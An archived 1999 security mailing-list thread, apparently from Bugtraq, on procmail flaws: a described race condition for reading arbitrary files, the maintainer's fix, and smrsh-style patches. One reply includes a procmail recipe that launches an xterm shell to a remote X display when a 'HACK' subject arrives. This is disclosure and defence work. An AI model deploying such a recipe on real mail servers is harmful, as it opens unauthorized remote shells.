procmail.screen.txt

`Date: Mon, 5 Apr 1999 19:40:37 +0100  
From: Chris Evans <[email protected]>  
To: [email protected]  
Subject: More procmail  
  
Hi,  
  
Well well since Debian appear to have "broken silence" on the procmail  
front rather than wait for an official announcement...  
  
I found something potentially more serious than boring heap overflows. It  
is allegedly fixed in the latest procmail release but I haven't checked.  
  
As a summary local users can dump the contents of any file to screen. As a  
comment I would suggest anyone running procmail with elevated privs either  
  
a) Needs their head examined or  
b) Hasn't read the code.  
  
Here is a quote of a previous mail I sent various people when I first  
found the file handling issue. I also recommended to the procmail team  
that they review _all_ of their file handling code. I have no idea whether  
this recommendation was taken on board or not..  
  
Cheers  
Chris  
  
-----8<--------  
  
However on to more interesting things, I have found a much more serious  
security hole in procmail's file handling which can lead to users dumping  
the contents of arbitrary files they should not be able to read to the  
screen.  
  
The faulty code sequence is in the handling of .procmailrc files and goes  
something like  
  
1) stat .procmailrc (as root) - if it can't be stat'ed keep root privs  
2) open .procmailrc  
3) do lstat on .procmailrc for security check  
  
By replacing .procmailrc after steps 1) and 2) with a symlink to the file  
to dump and a regular file respectively, we can win a race condition.  
  
You might not think this is a very plausible race but with a few deep  
directory/multiple symlink tricks/SIGSTOP/etc. the window can be made  
quite wide. This is definitely exploitable.  
  
----------------------------------------------------------------------------  
  
Date: Tue, 6 Apr 1999 21:50:03 -0400  
From: Kragen Sitaker <[email protected]>  
To: [email protected]  
Subject: Re: more procmail  
  
Chris Evans writes:  
> As a comment I would suggest anyone running procmail with elevated  
> privs either  
>  
> a) Needs their head examined or  
> b) Hasn't read the code.  
  
Procmail is generally not useful when running on behalf of the person  
who wrote the email it's being given as input.  
  
When it is running on behalf of someone else, which is the usual case,  
it has privileges that the sender did not.  
  
In my book, that means it's running with elevated privs.  
  
Common examples of this situation:  
- filtering your incoming mail with procmail  
- running a mailbox (of mail from other people) through procmail  
  
--  
<[email protected]> Kragen Sitaker <http://www.pobox.com/~kragen/>  
This is exactly how the World Wide Web works: the HTML files are the pithy  
description on the paper tape, and your Web browser is Ronald Reagan.  
-- Neal Stephenson, at http://www.cryptonomicon.com/beginning_print.html  
  
----------------------------------------------------------------------------  
  
Date: Tue, 6 Apr 1999 20:00:03 -0500  
From: Philip Guenther <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
Chris Evans <[email protected]> writes:  
...  
>As a summary local users can dump the contents of any file to screen. As a  
>comment I would suggest anyone running procmail with elevated privs either  
>  
>a) Needs their head examined or  
>b) Hasn't read the code.  
>  
>Here is a quote of a previous mail I sent various people when I first  
>found the file handling issue. I also recommended to the procmail team  
>that they review _all_ of their file handling code. I have no idea whether  
>this recommendation was taken on board or not..  
  
Hmm, I guess I failed to cc you on the discussion that later took place  
on this issue. What we eventually settled on and was incorporated into  
version 3.12 was for procmail to always open user rcfiles as the user  
(/etc/procmailrc will still be opened and processed as root). On some  
systems where special group privileges are needed to deliver to the  
mailspool but that have broken set*gid() system calls, procmail will  
attempt the open as root and if it succeeds then it'll close it, become  
the user, and open it again. This last case may still allow for DOS  
attacks by symlinking to, say, a serial device that blocks on open, so  
I suppose the open as root should be a non-blocking open. The truly  
paranoid will abolish the central mailspool directory and group 'mail'  
in favor of spooling mail to the user's home directory, a setup  
procmail readily supports.  
  
As for the rest of the file handling code, what I've had the time to  
review has looked safe. Procmail becomes the user before it starts  
processing the contents of the $HOME/.procmailrc, so problems should be  
limited to what the user could have done without procmail at all.  
While the permissions of the $HOME/.procmailrc are checked closely,  
procmail tries to the trust the user the rest of the time; if the user  
wants to process recipes from someone else's rcfile, procmail will let  
them: trusting the other user was their explicit choice. Resource  
consumption attacks (say, opening /dev/zero as an rcfile) should be  
dealt with like all resource consumptions attacks: audit and keep a  
baseball bat next to your desk.  
  
  
Philip Guenther  
Procmail Maintainer  
[email protected]  
  
----------------------------------------------------------------------------  
  
Date: Wed, 7 Apr 1999 08:50:28 -0700  
From: Ricky Connell <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
Philip Guenther <[email protected]> writes:  
=Procmail becomes the user before it starts  
=processing the contents of the $HOME/.procmailrc, so problems should be  
=limited to what the user could have done without procmail at all.  
  
Not quite true.  
The procmail rule:  
  
:0  
* ^Subject: HACK  
| setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh  
  
will, in fact, pop a shell from the secured mail server to whereever  
the user specifies, running as the user. So if they control their own  
.procmailrc, they can log into the mail server whenever they desire, which  
may not be a machine that they would normally have access to. The paths  
may need to be changed to reflect the OS of the mail server.  
I have patched my procmail to deal with this by forcing it to use  
smrsh. In doing so, I also discovered the procmail calls sendmail  
explicitly at some point in it's operation (didn't take the time to figure  
out where it does it). This might also be of concern, but it wasn't  
immediately obvious to me how this might be exploited.  
-- Ricky  
  
  
---  
[email protected] (650) 498-4405  
Unix and Network Administrator  
  
----------------------------------------------------------------------------  
  
Date: Wed, 7 Apr 1999 12:51:20 -0500  
From: Christopher P. Lindsey <[email protected]>  
To: [email protected]  
Subject: Re: More procmail  
  
> :0  
> * ^Subject: HACK  
> | setenv DISPLAY beida:0;/usr/openwin/bin/xterm -e /bin/csh  
>  
> I have patched my procmail to deal with this by forcing it to use  
> smrsh. In doing so, I also discovered the procmail calls sendmail  
> explicitly at some point in it's operation (didn't take the time to figure  
> out where it does it). This might also be of concern, but it wasn't  
> immediately obvious to me how this might be exploited.  
  
Exactly, and I've been debating this with Philip for quite some time  
now. I'm not saying that either one of us is right, but this type  
of problem is particularly worrisome in our environment at NCSA.  
  
I also wrote a patch about a year ago (or maybe it's the one that you  
used) against 3.11pre7, available at  
  
http://mirror.ncsa.uiuc.edu/procmail/patches/smrsh-like.patch  
  
I'll be writing one for 3.13.x and adding the same functionality to  
formail when I have the time.  
  
Chris  
`